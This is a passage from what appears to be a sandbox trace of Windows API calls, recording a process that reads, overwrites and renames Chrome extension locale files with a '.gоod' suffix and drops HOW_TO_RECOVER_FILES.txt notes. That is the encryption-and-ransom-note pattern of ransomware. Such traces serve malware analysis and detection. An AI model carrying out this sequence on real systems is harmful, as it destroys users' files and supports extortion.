(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.797] GetFileType (hFile=0x82c) returned 0x1 [0247.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0247.797] GetFileType (hFile=0x82c) returned 0x1 [0247.797] WriteFile (in: hFile=0x82c, lpBuffer=0x37430f0*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x37430f0*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0247.797] CloseHandle (hObject=0x82c) returned 1 [0247.797] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json", lpFilePart=0x0) returned 0x89 [0247.797] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0247.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0247.797] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55340bdb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55343278, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8fea8ae3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0247.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0247.798] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.gоod")) returned 1 [0247.798] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0247.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0247.798] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.799] GetFileType (hFile=0x82c) returned 0x1 [0247.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0247.799] GetFileType (hFile=0x82c) returned 0x1 [0247.800] WriteFile (in: hFile=0x82c, lpBuffer=0x3746a28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3746a28*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0247.800] CloseHandle (hObject=0x82c) returned 1 [0247.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0247.800] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", lpFilePart=0x0) returned 0x7b [0247.800] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5534cf30, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5534f643, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5534f643, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0247.801] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5534cf30, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5534f643, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5534f643, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.801] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5534f643, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55351cd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0247.801] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.801] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0247.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0247.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0247.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0247.801] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", lpFilePart=0x0) returned 0x7b [0247.801] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5534cf30, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5534f643, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5534f643, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0247.801] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5534cf30, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5534f643, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5534f643, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.802] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5534f643, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55351cd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0247.802] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5534f643, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55351cd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0247.802] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0247.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0247.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0247.802] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json", lpFilePart=0x0) returned 0x89 [0247.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0247.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37569f8 | out: lpFileInformation=0x37569f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5534f643, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55351cd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd2)) returned 1 [0247.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0248.594] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json", lpFilePart=0x0) returned 0x89 [0248.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0248.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0248.595] GetFileType (hFile=0x808) returned 0x1 [0248.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0248.595] GetFileType (hFile=0x808) returned 0x1 [0248.595] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xd2 [0248.595] ReadFile (in: hFile=0x808, lpBuffer=0x3749020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3749020*, lpNumberOfBytesRead=0x1f6e7648*=0xd2, lpOverlapped=0x0) returned 1 [0248.595] CloseHandle (hObject=0x808) returned 1 [0248.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json", lpFilePart=0x0) returned 0x89 [0248.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0248.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0248.623] GetFileType (hFile=0x808) returned 0x1 [0248.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0248.623] GetFileType (hFile=0x808) returned 0x1 [0248.623] WriteFile (in: hFile=0x808, lpBuffer=0x37c0a38*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x37c0a38*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0248.624] CloseHandle (hObject=0x808) returned 1 [0248.624] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json", lpFilePart=0x0) returned 0x89 [0248.624] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0248.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0248.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5534f643, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55351cd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x906683f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0248.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0248.624] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.gоod")) returned 1 [0248.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0248.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0248.625] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0248.626] GetFileType (hFile=0x808) returned 0x1 [0248.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0248.626] GetFileType (hFile=0x808) returned 0x1 [0248.627] WriteFile (in: hFile=0x808, lpBuffer=0x37c4370*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x37c4370*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0248.627] CloseHandle (hObject=0x808) returned 1 [0248.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0248.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", lpFilePart=0x0) returned 0x7b [0248.628] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5535b994, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553607b6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553607b6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0248.628] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5535b994, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553607b6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553607b6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.628] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553607b6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55362e48, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0248.628] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0248.629] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0248.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0248.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0248.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0248.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", lpFilePart=0x0) returned 0x7b [0248.629] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5535b994, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553607b6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553607b6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0248.629] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5535b994, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553607b6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553607b6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.629] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553607b6, 